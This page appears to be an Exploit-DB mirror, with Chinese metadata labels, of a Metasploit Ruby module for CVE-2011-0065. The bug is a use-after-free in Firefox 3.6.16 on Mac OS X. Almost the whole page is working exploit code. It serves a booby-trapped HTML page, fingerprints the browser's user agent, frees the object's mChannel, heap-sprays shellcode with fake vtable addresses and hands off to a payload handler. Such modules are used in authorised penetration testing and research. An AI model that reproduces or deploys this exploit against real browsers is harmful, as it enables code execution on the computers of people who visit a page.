Mozilla Firefox 3.6.16 (OSX) – mChannel Use-After-Free (Metasploit) (2)

  • 作者: Metasploit
    日期: 2012-01-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18377/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::Remote::BrowserAutopwn
    
    	autopwn_info({
    		:ua_name => HttpClients::FF,
    		:ua_minver => "3.6.16",
    		:ua_maxver => "3.6.16",
    		:os_name => OperatingSystems::MAC_OSX,
    		:javascript => true,
    		:rank => NormalRanking,
    	})
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
    			'Description'=> %q{
    					This module exploits an use after free vulnerability in Mozilla
    				Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
    				OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
    				becomes a dangling pointer and can be reused when setting the OBJECTs
    				data attribute. (Discovered by regenrecht). Mac OS X version by argp,
    				tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'regenrecht', # discovery
    					'Rh0',# windows metasploit module
    					'argp <argp[at]census-labs.com>'# mac os x target
    				],
    			'References' =>
    				[
    					['CVE','2011-0065'],
    					['OSVDB','72085'],
    					['URL','https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
    					['URL','http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
    				],
    			'Payload'=>
    				{
    					'Space' => 1024,
    				},
    			'Platform' => 'osx',
    			'Targets'=>
    				[
    					[
    						'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
    						{
    							'Arch' => ARCH_X86,
    							'Fakevtable' => 0x2727,
    							'Fakefunc' => 0x2727001c,
    						}
    					],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'May 10 2011'
    		))
    	end
    
    	def on_request_uri(cli, request)
    		# Random JavaScript variable names
    		js_element_name= rand_text_alpha(rand(10) + 5)
    		js_obj_addr_name = rand_text_alpha(rand(10) + 5)
    		js_sc_name = rand_text_alpha(rand(10) + 5)
    		js_ret_addr_name = rand_text_alpha(rand(10) + 5)
    		js_chunk_name= rand_text_alpha(rand(10) + 5)
    		js_final_chunk_name= rand_text_alpha(rand(10) + 5)
    		js_block_name= rand_text_alpha(rand(10) + 5)
    		js_array_name= rand_text_alpha(rand(10) + 5)
    
    		# check for non vulnerable targets
    		agent = request.headers['User-Agent']
    
    		if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
    			print_error("Target not supported: #{agent}") if datastore['VERBOSE']
    			send_not_found(cli)
    			return
    		end
    
    		# Re-generate the payload
    		return if ((payload = regenerate_payload(cli).encoded) == nil)
    
    		payload_buf= ''
    		payload_buf << payload
    		escaped_payload = Rex::Text.to_unescape(payload_buf)
    
    		# setup the fake memory references
    		my_target = targets[0] # in case we add more targets later
    		fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
    		fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
    
    		exploit_js = <<-JS
    		#{js_element_name} = document.getElementById("d");
    		#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
    		#{js_element_name}.onChannelRedirect(null, new Object, 0)
    
    		#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
    
    		var #{js_sc_name} = unescape("#{escaped_payload}");
    
    		var #{js_ret_addr_name} = unescape("#{fakefunc}");
    
    		while(#{js_ret_addr_name}.length < 0x120)
    		{
    			#{js_ret_addr_name} += #{js_ret_addr_name};
    		}
    
    		var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
    		#{js_chunk_name} += #{js_sc_name};
    		#{js_chunk_name} += #{js_ret_addr_name};
    		var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
    
    		while(#{js_final_chunk_name}.length < 0x800000)
    		{
    			#{js_final_chunk_name} += #{js_final_chunk_name};
    		}
    
    		var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
    
    		#{js_array_name} = new Array()
    
    		for(n = 0; n < 0x220; n++)
    		{
    			#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
    		}
    		JS
    
    		html = <<-HTML
    		<html>
    		<body>
    			<object id="d"><object>
    			<script type="text/javascript">
    			#{exploit_js}
    			</script>
    		</body>
    		</html>
    		HTML
    
    		#Remove the extra tabs
    		html = html.gsub(/^\t\t/, '')
    		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
    		send_response_html(cli, html, { 'Content-Type' => 'text/html' })
    
    		# Handle the payload
    		handler(cli)
    	end
    
    end